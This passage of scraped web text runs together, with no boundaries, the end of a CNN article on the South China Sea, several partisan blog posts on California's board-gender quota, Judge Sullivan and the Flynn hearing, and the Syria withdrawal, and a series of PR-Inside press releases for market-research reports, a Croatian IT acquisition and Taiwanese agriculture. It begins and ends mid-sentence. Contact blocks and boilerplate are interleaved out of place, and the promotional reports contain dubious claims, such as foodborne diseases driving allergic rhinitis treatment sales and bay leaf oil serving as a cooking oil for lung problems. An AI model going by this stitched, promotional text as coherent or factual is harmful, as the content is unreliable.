War College in Rhode Island. While such clashes could start out small, they might spiral and escalate to involve other powers. "The U.S. would likely not be involved in such incidents, but depending on the facts and the degree of escalation, that could draw the U.S. Navy into a testy situation with the PLA Navy," Kardon said. Yet even without such a clash, it seems any cooling of U.S.-China tensions is a long way off. Chinese President Xi Jinping in June vowed there would be no retreat from his country's position in the South China Sea. "Our stance is steadfast and clear-cut when it comes to China's sovereignty and territorial integrity," Xi said, adding that "any inch of territory passed down from ancestors cannot be lost, while we want nothing from others." Xi's emphasis on historical claims, which China now has the power to enforce, suggests that troubled waters could lie ahead. "The intensifying competition between the U.S. and China is not just driven by the traditional dynamics of power politics between an established and emerging power," Adm. Phil Davidson, head of the U.S. Indo-Pacific Command, said in November. "I believe we are facing something much more serious a fundamental divergence in values that leads to two incompatible visions of the future." This story was first published on CNN.com "Troubled waters: How Beijing won't back down over the South China Sea" In response to the #MeToo movement, California has enacted several laws regarding sexual harassment claims. You can read about them in this report by the law firm of Mayer Brown LLP. Some provisions make sense, others not so much. What really caught my eye, though, was a new law not about sexual harassment, but about female representation on boards of directors. The bill is SB 826. Here is how Mayer Brown describes it: SB 826 provides that, beginning December 31, 2019, publicly held companies with their principal executive offices in California must have a certain minimum number of women serving on their boards of directors. Such corporations must. . .have at least one female on their board by December 1, 2019. Thereafter, boards with five directors must have at least two women on the board, and boards with six directors must have at least three female members by December 31, 2021. Corporations failing to comply with this mandate face significant monetary penalties. According to this report, the penalties would amount to at least $100,000 for a single violation and $300,000 for each subsequent violation. California is the first state to set such a quota. There may be a loophole, though. The new law defines female as an individual who self-identifies her gender as a woman, without regard to the individuals designated sex at birth. Is SB 826 constitutional? I doubt it. The law unabashedly classifies people by gender for purposes of membership on company boards. The justification is past discrimination and differences in opportunity. But this is a shaky ground for discriminating in the present, as SB 826 does. Even when were talking about African-Americans, a group that has endured more severe discrimination than women, the Supreme Court has, to my knowledge, not adopted past discrimination as a basis for approving quotas. The Supreme Court prefers the diversity rationale. But, assuming for the moments that this rationale has force in the college classroom, how much force does it have in private boardrooms? In any event, the Court has rejected strict numerical quotas for African-Americans. In SB 826, California has imposed quotas for women. Gov. Jerry Brown seems to recognize that SB 826 is on shaky legal ground. In a letter explaining his decision to sign the bill, he stated: I dont minimize the potential flaws that indeed may prove fatal to its ultimate implementation. But, he added: Its high time corporate boards include the people who constitute more than half the persons in America. Sure, but not high time to set illegal quotas. Gov. Browns attitude is emblematic of the lefts growing disregard for the law. UPDATE: Years ago, Jim Scanlan pointed out that a remedial/reparations rationale for preferring women doesnt make much sense. Thats because women of a current generation arent any more harmed economically by past discrimination against their mothers and grandmothers than men of a current generation are. By contrast, African-Americans of a current generation are harmed by past discrimination against their mothers and fathers. I doubt that females from past generations would consider it a fair reparation to see their sons and grandsons discriminated against in favor of women. On Tuesday Judge Emmet Sullivan made a big splash with his wild talk in court about General Flynn. Michael Ledeen explores the meaning of Judge Sullivans wild talk in The real story of the Flynn hearing. Michael offers a perfectly plausible explanation, but there is no charitable explanation for Judge Sullivans loose talk from the bench about Flynns possible treason and selling out his country and all the rest. Apology is not enough. On Wednesday Judge Sullivan joined the judicial division of the #Resistance. He struck down most of the policies former Attorney General Jeff Sessions had issued to prevent the abuse the law applicable to asylum claims. Sessions had clarified the proper application of the immigration laws asylum provision in Matter of A-B and in the related Policy Memorandum. No longer were alleged victims of abusive husbands or alleged victims of Central American gangbangers to be given a free pass to seek asylum. Judge Sullivan essentially sets aside Matter of A-B and the Policy Memorandum. Applying the credible fear element of the asylum provision, Judge Sullivan holds their construction of the asylum provision to be almost entirely unlawful. And thats not all. Judge Sullivan ordered the government to return plaintiffs who were deported under Sessionss policies. Cmon up, Grace, Carmen, Gina, Maria, Mina, Nora and Mona (plaintiffs who are all proceeding under pseudonyms). Query: Couldnt the lawyers make up last names too? Judge Sullivan held that there is no legal basis for an effective categorical ban on domestic violence and gang-related claims. He entered a permanent injunction of the kind with which we have become all too familiar in the Age of Trump. There is more, but this is the nub. I am no expert and I may be mistaken, but I think Sessions is right and Sullivan is wrong. We are being gamed by the usual suspects. Judge Sullivans 107-page memorandum opinion is embedded in Ryan Barbers National Law Journal article Judge Emmet Sullivan Just Wrecked Trumps New Asylum Restrictions. Barber quotes the Justice Department statement on Judge Sullivans opinion: Under the laws passed by Congress, asylum is only for those who have a legitimate fear of persecution on the basis of their race, nationality, religion, political opinion, or membership in a particular social group. According to Barber, the Justice Department also said it was reviewing options. Free advice to the department: Dont agonize over it too long. You dont have that many options. The Justice Department also avowed that it would continue to restore the rule of law in our immigration system. I have some free advice on that point too, but restoration of the rule of law in our immigration system appears increasingly to be mission impossible. I recoil when I hear Senator Rand Pauls praise of President Trumps decision to withdraw our forces from Syria. It follows directly from Pauls old-fashioned isolationism. By contrast with Paul, General Jack Keane is a serious man and a formidable analyst of national security issues. He addressed the Trumps decision in conversation with Trish Regan on FOX Business Network last night. Mediaites Josh Feldman reports on it in Fox News Analyst Ret. Gen. Jack Keane: Trump Syria Decision a Serious Strategic Mistake (Fox video below). I think Keanes critique is correct. The New York Posts Benny Avni provides additional background and context in The Syria withdraw[a]l may be Trumps biggest blunder to date (a column that is deeper than the headline suggests). Whether or not Keanes critique is correct, Keane deserves to be heard on the merits. Its too early to say what President Trumps legacy will be. However, one part of his legacy is already cemented. He has caused a large segment of America to despise the mainstream media. The mainstream media deserves to be despised. Consider the Washington Posts treatment of Michael Flynns sentencing hearing earlier this week. At the hearing, Judge Emmet Sullivan suggested that Flynn might have committed treason by lobbying for the Turkish government while serving in our government. In fact, however, Flynn had not lobbied for Turkey while serving the U.S. His lobbying efforts predated his brief time as national security adviser and postdated his time in the military. Sullivans erroneous rant was inexcusable. Sullivan later acknowledged that there is no basis for talking about treason, and he apologized for doing so. In emails I received that day, several friends predicted that the mainstream media would highlight Sullivans treason talk, even though the judge later apologized his error. The baseless shot he took at Flynn was too tantalizing for the lefty, Trump-hating MSM to pass up. The Washington Post did not disappoint these critics. The front-page headline (paper edition) read: Judge excoriates Flynn, delays sentencing. The story continued on page A-7 under the headline: Arguably, you sold your country out, disgusted judge tells Flynn. On the same page, in a story lionizing Sullivan, this headline appeared: Judge is stickler for proper government conduct. But Sullivans claim that Flynn arguably sold his country out was based on his erroneous view that Flynn worked for Turkey while also working for the U.S. The Posts use of a headline that quoted Sullivans baseless statement one the judge later apologized for making displayed dishonesty and bias of the worst kind. You might be wondering whether the Post informed its readers that Sullivan repudiated his treason allegation the one that formed the entire basis of its page A-7 headline and part of the basis for the headline on the front page. The answer is yes. The Post reported this in one sentence, buried at the end of the 27th paragraph of the story. In its shorter story about how Judge Sullivan is a stickler for proper government conduct, the Post disclosed his egregious error in paragraph 11. These days, unfortunately, Sullivan is not a stickler for proper judicial conduct. At least Sullivan tried to mitigate his error by apologizing. The Post, though, undermined his effort by magnifying the error. They say that a lie gets half way around the world before the truth puts its pants on. Here, the Post did its best to make sure the lie about Flynn circumnavigated the globe. Despicable. PR-Inside.com: 2018-12-20 08:39:02 Agriculture Council to Promote Outstanding Taiwan Brands in Okinawa Taiwan Good Agriculture (TGA), a program to strengthen international competitiveness of Taiwans agricultural products, will help promote Taiwan brands and products in Okinawa from Dec. 25. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181219005 RYUBO Department Store features agricultural products from Taiwan. Launched by Taiwans Council of Agriculture (COA), TGA aims to assist agricultural products manufacturers in enhancing brand image and further guarantee safety and quality of Taiwans products, as well as highlight the uniqueness and product differentiation through connecting brand building and selling. As Okinawa is the closest Japanese prefecture to Taiwan and a popular destination that receives roughly 10 million tourists every year, COA has partnered with RYUBO Department Store, the largest department store in Okinawa, to help Taiwan brands enter Japanese market since 2017. This year, TGA will sell quality agricultural products from Taiwan in the pop-up store at RYUBO to test competitiveness in Japans market. Moreover, the TGA Select, a collection of Taiwan brands, will also be featured at the department store to increase visibility of Taiwan brands. In addition, TGA had led Taiwan brands and manufacturers to participate in the Great Okinawa Trade Fair, the largest trade platform that boasts over 500 food product suppliers, agents, purchasers, and proxies from Japan every year to boost business. For the first time this year, the Great Okinawa Trade Fair is open to foreign food products manufacturers and suppliers. As the major foreign country to participate in the trade fair, 80% of the participating manufacturers have been guided by TGA to improve their brand images. TGA will assist them in business matching, paving the way to enter Japans market. For 15 years, TGA has guided more than 130 manufacturers in Taiwan to improve their brand image. COA has also launched the TGA Select in 2016 to bring outstanding brands of Taiwan to enter Japan and Chinas market, and continued to expand to new market. View source version on businesswire.com: https://www.businesswire.com/news/home/20181219005 Department of International Affairs, COA Vincent Lin vincent@mail.coa.gov.tw +886-2-2312-4677 PR-Inside.com: 2018-12-20 11:10:24 Press Information Persistence Market Research CONTACT: Persistence Market Research 305 Broadway,7th Floor New York City, NY 10007 United States T: +1-646-568-7751 Tollfree: +1 800-961-0353 Yogesh Sengar Team Lead +1-646-568-7751 email https://www.persistencemarketresearch.com # 631 Words CONTACT:Persistence Market Research305 Broadway,7th FloorNew York City, NY 10007United StatesT: +1-646-568-7751Tollfree: +1 800-961-0353Team Lead+1-646-568-7751 Technological advancements in the medical world and rising prevalence of foodborne diseases will primarily build the market for allergic rhinitis treatment globally. Secondarily, strategic partnerships and synergies between big brands, soaring usage of second-generation multiplex immunoassay, and augmenting R&D activities in life sciences and molecular diagnostics will support the market surge within the next few years. Over 2016-2020, the global AR treatment market will reach US$ 14 Bn, which will further take a leap to US$ 16.038 Bn by the end of 2024. Over 2016-2024, the market is likely to see impressive growth at a healthy CAGR of 7.5%. Market Research Expert, Life Sciences & Transformational Health, Persistence Market Research.According to Persistence Market Researchs recent report titled Global Allergic Rhinitis Treatment Market: Industry Analysis and Forecast, 20162024, key market competitors have embraced different strategic moves in order to strengthen their positions in the global allergic rhinitis treatment marketplace. These activities, according to Persistence Market Research, will boost the overall status of the market in near future.Merck & Co. and Johnson & Johnson are concentrating on new product development, such as nasal sprays.Boehringer Ingelheim will continue to contribute a major share to the market through an increased focus on R&D and a strong distribution network.Sanofi S.A. is also focusing more on increasing R&D investments directed to expanded sales.In addition to growing R&D efforts, AstraZeneca is also emphasizing on innovation of technologically advanced products and acquisition of selective regional players.Request to Sample Report @ https://www.persistencemarketresearch.com/samples/12154 GlaxoSmithKline PLC and Alcon (Novartis AG) are prioritising cost-effective product development for long-term profits; Alcon specifically aims to tap into emerging markets.Acquisition of players from the same segment and different region will be a key strategy of Teva Pharmaceutical Industries Ltd., which targets production capacity expansion.By disease type, perennial AR segment will remain dominant with around 47% market value share in 2024, gaining around 123 BPS throughout the forecast period. On the other hand, despite losing over 30 BPS over 2016-2024, occupational AR will continue to be the second largest segment with over 35% revenue share at the end of the assessment period. While the revenues of the former are expected to surpass US$ 7.0 Bn, the latter will possibly exceed a value of US$ 5.0 Bn by the end of 2024.By treatment type, immunotherapy treatment segment is expected to be the fastest growing segment over the forecast owing to introduction of new immunotherapy based products, followed by antihistamines segment. However, antihistamines will continue to be the leading treatment type segment with over 50% share in 2024, followed by corticosteroids with over 31% share.Based on route of administration, oral route of administration segment will cover nearly half of the market in terms of value, whereas nasal route of administration segment is anticipated to capture around 38% share of the total market value in 2024. Intravenous segment is foreseen to witness a higher CAGR compared to others, which can uplift the sales revenues of this segment to cross US$ 1.25 Bn in 2024.On the basis of distribution channel, retail pharmacies will account for higher revenues than hospital pharmacies throughout the assessed period. Retail pharmacy revenues are likely to surpass US$ 7.0 Bn, growing at the fastest CAGR of 3.9% over 2016-2024. Whereas, hospital pharmacies will reach over US$ 5.0 Bn, accounting for around 31% share of the market value in 2024.Request Report TOC @ https://www.persistencemarketresearch.com/methodology/12154 As per the geographical assessment of the global allergic rhinitis treatment market, North America will continue to capture the maximum revenue share over the 10-year tenure. With over 63% value share by 2024-end, this region is likely to surpass US$ 10.0 Bn in terms of revenues. European market will possibly attract the revenues worth US$ 3.68 Bn by 2024 end, contributing over 22% share of the market size. The third key region i.e. APAC is estimated to reach over US$ 1.27 Bn in 2024. PR-Inside.com: 2018-12-20 18:22:21 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 704 Words ACCESSWIRE News Network888.952.4446 EMMEN, SWITZERLAND / ACCESSWIRE / December 20, 2018 / ALSO has acquired RECRO, one of the largest IT distributors in Croatia. The acquisition will allow ALSO to further strengthen its market position in the eastern European and Adriatic regions. Zagreb-based RECRO was founded in 1992 and markets IT products and solutions from high-profile manufacturers such as HP Inc. and Microsoft. The company additionally provides IT services. Completion of the transaction is expected in early January 2019."The acquisition of the distribution business of RECRO is another milestone in further strengthening and expanding our presence in the eastern European and Adriatic regions," says Gustavo Moller-Hergt, CEO of ALSO Holding AG (SIX: ALSN). "RECRO has a special focus on excellent professional support for its clients, which is something we also value greatly in light of the growing challenges associated with the implementation of complex IT solutions." Through the acquisition, ALSO is strengthening its presence in a market that is expanding rapidly and is seeing tremendous investment activity. RECRO is firmly established in the market and attaches tremendous importance to high-quality staff training and professional IT support.Founded in 1992, the distributor generated sales of 39 million euros last year. RECRO provides an extensive range of IT services that goes beyond its product portfolio, including professional bid and tender support, technical support for the selection and configuration of complex IT systems and professional support for the migration of cloud services. In 2018, RECRO won the Microsoft Croatia Partner of the Year Award for outstanding solutions in the development of the partner channel for Microsoft cloud technologies. As a result, the distributor provides a range of products and solutions that goes well beyond traditional distribution and covers the increasingly important field of services.By acquiring, ALSO is pursuing its aim of consolidating or gaining a leading market position in those countries in which the company is active throughout Europe. Within the scope of the acquisition, ALSO's focus is on bringing its consumptional business expertise to the table. The company defines consumptional business as consumption-oriented IT services that it provides through its ALSO Cloud Marketplace, among other channels.Direct link to the media release: https://www.also.com/goto/20181220en/ Contact person ALSO Holding AG:Ketchum Pleon GmbHManuela Rost-HeinPhone: +49 211 9541 2160E-Mail: also.press@ketchumpleon.com ALSO Holding AG ( ALSN.SW) (Emmen/Switzerland) brings providers and buyers of the ICT industry together. The company offers services at all levels of the ICT value chain from a single source. In the European B2B marketplace, ALSO bundles logistics services, financial services, supply services, solution services, digital services, and IT services together into individual service packages. ALSO's portfolio contains more than 250 000 articles from some 525 vendors. The Group has 4 058 employees throughout Europe. In fiscal year 2017 (closing on December 31), the company generated net sales of 8.9 billion euros. The majority shareholder of ALSO Holding AG is the Droege Group, Dusseldorf, Germany.Further information is available at http://www.also.com Droege GroupDroege Group (founded in 1988) is an independent advisory and investment company under full family ownership. The company acts as a specialist for tailor-made transformation programs aiming to enhance corporate value. Droege Group combines its corporate family-run structure and capital strength into a family-equity business model. The group carries out direct investments with its own equity in corporate spin-offs and medium-sized companies in "special situations". With the guiding principle "execution - following the rules of art", the group is a pioneer in execution-oriented corporate development. Droege Group follows a focused investment strategy based on current megatrends (knowledge, connectivity, prevention, demography, specialization, future work, shopping 4.0). Enthusiasm for quality, innovation and speed determines the company's actions. In recent years Droege Group has successfully positioned itself in domestic and international markets and operates in 30 countries. More information: https://www.droege-group.com DisclaimerThis press release contains forward-looking statements which are based on current assumptions and forecasts of the ALSO management. Known and unknown risks, uncertainties, and other factors could lead to material differences between the forward-looking statements made here and the actual development, in particular the results, financial situation, and performance of our Group. The Group accepts no responsibility for updating these forward-looking statements or adapting them to future events or developments.SOURCE: ALSO Holding AG PR-Inside.com: 2018-12-20 19:51:25 Press Information RESEARCH REPORT INSIGHTS Contact Us: Research Report Insights (RRI) 42 Joseph Street Port carling P0B 1J0 Muskoka, Ontario1 Phone - +1-631-721-4201 Website: https://www.researchreportinsights.com/ Email: sales@researchreportinsights.com Bissu Analyst 6317214201 email https://www.researchreportinsights.com/ # 491 Words Contact Us:Research Report Insights (RRI)42 Joseph StreetPort carling P0B 1J0Muskoka, Ontario1Phone - +1-631-721-4201Website: https://www.researchreportinsights.com/Email: sales@researchreportinsights.comAnalyst6317214201 A thermostat is utilized to keep up the engine close to its ideal working temperature by controlling the course of coolant to an air-cooled radiator. This kind of thermostat operates utilizing a varnished chamber containing a wax pellet which melts and extends at a determined temperature. The expansion of the chamber controls a bar that opens a valve when the operating temperature is surpassed. The operating temperature is controlled by the piece of the wax. When the operating temperature is achieved, the thermostat vigorously increments or reduces its reaction to temperature alterations, progressively adjusting the coolant distribution flow along with the coolant flow to the radiator to keep up the engine temperature in the ideal range.The global market for the automotive thermostat is estimated to account for a market value of US$ 2,094.5 Million through 2025 end up from a value at US$ 1,598.3 Million during 2017. The market is set to increase at a 3.4% CAGR during the predicted period. Global Automotive Thermostat Market Likely to Touch a Figure of US$ 2,094.5 Million Through 2025Request For Report Sample with Table of Contents@ https://www.researchreportinsights.com/report/sample/110114846/Automotive-Thermostat-Market Market SegmentationBased on the design, the overall market includes dual valve and single valve. The single valve design is likely to grow highly attractive in the global market for automotive thermostat all through the predicted period. However , the dual valve category is likely to capture a minimum share in the overall market all through the predicted period. Nevertheless, this category is estimated to witness a firm growth rate all through the predicted period. Based on the sales channel, the worldwide market includes aftermarket and OEM. The OEM category will be accounting for a market share of 57.04% by the end of the year 2025, up from 56.62% by 2017.On the basis of the vehicle type, the worldwide market includes HCV, LCV and PC. The passenger vehicle type will be accounting for a market share of 73.6% by the end of the year 2025, up from 73.1% during 2017. The heavy commercial vehicle type is projected to attain 4.7% by 2025. Both HC and LCV vehicle type is likely to exhibit strong growth in the global market for automotive thermostat.Request For Report Discount@ https://www.researchreportinsights.com/report/discount/110114846/Automotive-Thermostat-Market On the basis of region, the overall market includes North America, Middle East & Africa, Latin America, Asia Pacific and Europe. The APAC market is considered to remain highly attractive all through the predicted period. North America regional market is also probable to demonstrate comparatively sturdy growth over the said period.Key Market PlayersSome of the major companies operating in the overall market for automotive thermostat includeDenso CorporationContinental AGBorgWarner Inc.MotoRad Ltd.MAHLE GmbHHella KGaA Hueck & Co.Valeo SASogefi S.p.A.Kraca Holding EnterpriseRobert Bosch GmbHNippon Thermostat Co. Ltd.Tama Enterprises Co., Ltd.Stant Manufacturing, Inc.Ningbo Xingci Thermal Electric Appliances Co. Ltd.Vernet SASOthersReport Analysis@ https://www.researchreportinsights.com/report/rd/110114846/Automotive-Thermostat-Market Future Market Insights has announced the addition of the Automotive Washer System Market Future Forecast 20162026: Latest Analysis by Future Market Insights." report to their offering Future Market Insights PR-Inside.com: 2018-12-20 16:16:55 Press Information Future Market Insights Future Market Insights U.S. Office 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Email: sales@futuremarketinsights.com Web: https://www.futuremarketinsights.com Abhishek Budholiya Manager +1 03479183531 email http://www.futuremarketinsights.com/ # 712 Words Future Market InsightsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWeb: https://www.futuremarketinsights.comManager+1 03479183531 Future Market Insights (FMI) delivers key insights on the global automotive washer system market in its latest report titled, Automotive Washer System Market: Global Industry Analysis and Opportunity Assessment, 20162026. Global sales of automotive washer systems including headlamp and windshield washer systems is expected to reach US$ 17.5 Bn in 2016, witnessing a y-o-y growth of 4.2% over 2015. The long-term outlook on the global automotive washer systems market remains positive, with the market expected to register a 5.4% value CAGR during the forecast period 2016-2026. Passenger car segment will account for maximum share of the total sales, extending the market share to 76.7% in 2026 as compared to 74.5% in 2016.For Requesting a Sample Copy of This Report, Please Visit @ https://www.futuremarketinsights.com/reports/sample/rep-gb-1081 In terms of volume, the global sales of automotive washer systems is expected to reach 1,453.4 Mn units in 2016 and is expected to expand at a CAGR 3.5% over the forecast period 20162026.Increasing vehicle production and adoption of efficient wiper and washer technologies are primary factors bolstering the sales of washer systems globally. Moreover, high replacement rate of washer system components is expected to result in high sales in the aftermarket segment. The emergence of newer wiper blade and windshield cleaning technologies is resulting in higher cost of end products, which is a major factor restraining adoption of these products among consumers. High market penetration of relatively low-cost wiper and washer system alternatives restricts demand for wiper de-icer, nozzle integrated wipers and heated nozzle washer systems.Get More Information@ https://www.futuremarketinsights.com/reports/automotive-washer-systems-market Segmentation highlightsThe global automotive washer system market is segmented on the basis of Component (Nozzles, Reservoirs, Hose & Connectors, Pumps, Windshield Wipers, Wiper Motor); Sales Channel (OEM, Aftermarket); Technology (Electric, Mechanical); Vehicle Type (Passenger Cars, Light Commercial Vehicles, Heavy Commercial Vehicles); and Application (Windshield Washer System, Headlamp Washer System).Windshield wiper was the largest segment by component in 2015 and this will remain unchanged in 2016Nozzle and hose & reservoir segments are expected to be the next large segment in terms of volumeBy value, wiper motor segment is expected to remain dominant over the forecast period. The segment is expected to account for share of 45.9% in 2016 and is expected to maintain dominance over the forecast periodBy product type, windshield washer segment was the largest segment in 2015, and this segment is anticipated to hold 72.3% of the market revenue by 2026. Advancements in wiper blade technology and nozzle design will support growth of the market over near future.Headlamp washer system segment is anticipated to witness a relatively high value CAGR than windshield washer system. Increasing sales of premium and luxury vehicle globally is anticipated to bolster the growth of headlamp washer system. Furthermore, automakers in the market are focussing on introducing value added features in their mid-range vehicles, so as to earn competitive edge in the marketRegional projectionsThe global automotive washer system market is segmented into the regions of North America, Latin America, Western Europe, Eastern Europe, APEJ, MEA, and Japan. Asia Pacific, the largest market for automotive washer systems is expected account for US$ 5.5 Bn revenue in 2016. Increasing adoption of headlamp washer systems in semi-luxury and mid-sized cars is major trend witnessed in the region. North America is expected to be the next big market, the region accounted for 21.1% of the total revenue share in 2015 and is anticipated to hold 20.7% in 2016. The recent relocation of automobile production facilities to developing nations such as Mexico will impact the OEM sales of washer systems in the region. Western Europe is expected to account for US$ 3.3 Bn revenue in 2016. The market for headlamp washer systems in the region is majorly driven by the existing stringent regulations to deploy these systems with high intensity headlamps.Inquire more or share questions if any before the purchase on this report @ https://www.futuremarketinsights.com/ask-the-analyst/rep-gb-1081 Vendor insightsRobert Bosch GmbH, Denso Corporation, Valeo S.A., continental AG and Mitsuba Corporation are the top five players in the global automotive washer system market, accounting for about 30% market revenue share in 2015. The leading players in the market are focusing on acquisition, collaboration and partnerships of/with technology providers to increase their product portfolio and market presence. Furthermore, expansion of production facilities, particularly in developing nations, is the key strategy adopted by major players in the market. Bay Leaf Oil Market PR-Inside.com: 2018-12-20 15:05:55 Press Information Future Market Insights Future Market Insights 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Email: sales@futuremarketinsights.com Website: www.futuremarketinsights.com Sonali Analyst +1 03479183531 email https://www.futuremarketinsights.com # 801 Words Future Market Insights 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Email: sales@futuremarketinsights.com Website: www.futuremarketinsights.comAnalyst+1 03479183531 Bay Leaf Oil: Introduction: Bay leaf oil is extracted from the species of Pimenta racemose. Pimenta racemose is mostly grown in the Caribbean region and few parts in South America. The fresh leaves of the tree are used for the extraction of bay leaf oil through an appropriate extraction process. The bay leaf oil is a yellow liquid that has a strong fragrance and a distinct odor.The demand of the bay leaf oil had reduced in the past years. But, its demand has increased since 2017 due to the increasing demand of the natural essential oils. The bay leaf oil has many properties that make it an essential oil and is being used in many foodservice as well as in personal care and cosmetics. The main use of the bay leaf oil is in cosmetics and especially the bay leaf oil is used in products for hair growth. The bay leaf oil is also used extensively as a cooking oil in gourmet restaurants as well as at home due to the benefits bay leaf oil has for decongestion and lung problems.Dominica produced more than 85% of the bay leaf oil of the worlds total production: The Dominica nation in the Caribbean region where most of the plants of Pimento racemose are grown is a major bay leaf oil producing country. Almost 65% of the overall bay leaf oil of Dominica is from the co-operative called the Dominica Essential Oils and Spices Co-operative that is responsible for the manufacturing of bay leaf oil. The co-operative produces approximately 4,500 gallons of bay leaf oil per year. The bay leaf oil from the co-operative is either directly sold or is sold through brokers in the European or the US markets. The bay tree grows lays across the Dominica region. But the production and distilleries for the bay leaf oil are concentrated in the south-east of the Dominica region.The local Caribbean use of the bay leaf oil in the Dominica region is in the preparation of Bay Rum. It is a popular after-shave for men which is prepared using bay leaf oil, spice oils, water, citrus and alcohol.Request Sample Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-7974 Bay Leaf Oil: Segmentation: The global bay leaf oil market has been segmented on the basis of Nature, Process of Extraction, End Use and Distribution Channel. On the basis of nature, the global bay leaf oil market has been segmented as- Organic,Conventional; On the basis of process of extraction, the global bay leaf oil market has been segmented as- Water distillation, Steam distillation, Solvent extraction; On the basis of end use, the global bay leaf oil market has been segmented as- Foodservice/HoReCa (Hotels/Restaurants/Cafes), Aromatherapy, Insect Repellent, Personal Care & Cosmetics, Household/Retail; On the basis of distribution channel, the global bay leaf oil market has been segmented as- B2B/Direct, B2C/Indirect, Supermarkets/Hypermarkets, Modern Grocery Stores, Specialty Stores, Traditional Grocery Stores, Online Retailers.Bay Leaf Oil: Key Players: Some of the leading players of global bay leaf oil market include Aryan International, Essential Oils Company, Dominica Essential Oils and Spices Co-operative, Wildoils Pvt Ltd., Health and Beauty Natural Oils Co., Inc., Vigon International, Inc., Berje Inc.Bay Leaf Oil: Activities of the participants: Dominica Essential Oils and Spices Co-operative has started to refurbish its four artisan distilleries in the South of the Dominica island that has been destroyed by Tropical Storm Erika. This will lead to the co-operative producing more bay leaf oil and also expanding to produce other oils. Bay Leaf Oil: Opportunities: The bay leaf oil is a very niche market that requires higher quality equipment and also skilled labor to produce an appropriate amount of oil. This is the reason that not many manufacturers produce the bay leaf oil. The market for the bay leaf oil is increasing due to the increasing demand for the natural essential oils. This brings out a very good market opportunity for new players in the bay leaf oil market.Also, the use of the bay leaf oil as an end-user as well as its further applications in the various end-use industry has been keeping the demand for the bay leaf oil in the market very high. Extensive research is also going on bay leaf oil and its applications which can open more end-use options and thus increase the demand for the bay leaf oil.Buy this Report@ https://www.futuremarketinsights.com/checkout/7974 Brief Approach to Research: The research report presents a comprehensive assessment of the market, and contains thoughtful insights, facts, historical data, and statistically supported and industry-validated market data. It also contains projections using a suitable set of assumptions and methodologies. The research report provides analysis and information according to market segments such as geography, application, product type, and mount type. XploreMR is one of the worlds leading resellers of high-quality market research reports. We feature in-depth reports from some of the worlds most reputed market research companies and international organizations. We serve across a broad spectrum from Fortune 500 to small and medium businesses. Our clients trust us for our unwavering focus onquality and affordability. We believe high price should not be a bottleneck for organizations looking to gain access to quality information. xplore-mr PR-Inside.com: 2018-12-20 13:51:19 Press Information Xplore-MR 111 North Market Street, Suite 300, San Jose, CA 95113, United States Sales sales@xploremr.com +16692840108 email http://www.xploremr.com # 799 Words 111 North Market Street, Suite 300,San Jose, CA 95113, United Statessales@xploremr.com+16692840108 XploreMR published a report on bicycle parking rack market for the forecast period of 2018 to 2028. This report is an analytical study on bicycle parking rack market carried out by XploreMR, which provides estimations and anticipations on the bicycle parking rack market at global, regional, and country level. This report presents growth facets of the bicycle parking rack market from both historical and futuristic slants and draws a comparison out of it. Moreover, this report on bicycle parking rack market also offers intelligence on dynamics of bicycle parking rack market, which is veritable to gauge potential of the industry. The market dynamics of bicycle parking rack market consists of imperative numbers that depict the growth clip of bicycle parking rack market. The presentations included in the report for bicycle parking rack market are of great use for stakeholders of bicycle parking rack market who are vying to strengthen their industry foothold.Chapter 1- Executive SummaryThis section starts with a quick and brisk summary of bicycle parking rack market coupled with a megatrends in bicycle parking rack market responsible for influencing the industry growth. The market white spaces of bicycle parking rack market briefs on an opportunity assessment indicating prime opportunities in bicycle parking rack market for manufacturers to exploit.View Full Report @ https://www.xploremr.com/report/2155/bicycle-parking-racks-market Chapter 2 OverviewThis chapter, titled as overview of bicycle parking rack market, imparts a holistic introduction of bicycle parking rack market along with a formal definition of the product bicycle parking rack. Also, the scope of the report on bicycle parking rack market has been included in this chapter, which aids the readers to gauge the scope of bicycle parking rack market in a systematic manner.Chapter 3- Bicycle Industry OutlookThis chapter focuses on the potential of bicycle market, which forms a foundation for framing anticipations for bicycle parking rack market. The prosperity of bicycle market is a directly proportional to growth of bicycle parking rack market. It also includes information about the bicycle fleet of every region, which is a preeminent factor responsible for determining growth of bicycle parking rack market in the respective region.Chapter 4 Key Indicator AssessmentThis chapter gives a sneak peak at the dynamics of bicycle parking rack market. The dynamics of bicycle parking rack market revolves around factors such as drivers, restraints, trends, and opportunities which are crucial for determining growth ambit of bicycle parking rack market. The investment feasibility matrix of bicycle parking rack market gives a clear understanding of areas which are remunerative enough for vendors to invest.Chapter 5- Price Point AnalysisThis chapter embodies a price point analysis of bicycle parking rack market. The price point analysis of bicycle parking rack market has been done both ways, by region as well as by product type.Chapter 6- Market Analysis and ForecastThis chapter draws insights on growth clip of bicycle parking rack market outlook for the forecast period of 2018 to 2028. A regional sales assessment of bicycle parking rack market has also been included to understand the sales scenario of every region. Also, market attractiveness of bicycle parking rack market has been analyzed in this chapter to highlight the areas with optimal potential.Chapter 7 North America Bicycle Parking Rack Market AnalysisThis chapter delves into market forecast and analysis of bicycle parking rack market in North America. This chapter also analyzes potential of bicycle parking rack market and prime opportunities to be leveraged on by key players of bicycle parking rack market.Chapter 8 Latin America Bicycle Parking Rack Market AnalysisThis chapter enunciates on key trends, current and future prospects of Latin America bicycle parking rack market. Country-wise intelligence on bicycle parking rack market of Latin America has also been included in detail coupled with impressive quantitative data related to the market segments and their growth clip in Latin America.Request For Sample Report @ https://www.xploremr.com/connectus/sample/2155 Chapter 9 Europe Bicycle Parking Rack Market AnalysisThis chapter focuses on growth facets, trends, and prognosis of bicycle parking rack market in Europe. Key norms and dynamics having a profound influence on Europe bicycle parking market across all nations in Europe have also been discussed in the chapter.Chapter 10 Japan Bicycle Parking Rack Market AnalysisThis chapter outlines the growth topography of Japan bicycle parking rack market and demand generators responsible for revitalizing the market growth. This section also emphasizes on key growth influencers and restraints prevailing in Japan bicycle parking rack market.Chapter 11 APEJ bicycle parking rack market Analysis and Forecast by CountryThis chapter provides cutting-edge and unmatched analysis on growth of bicycle parking rack market in APEJ. Pioneering 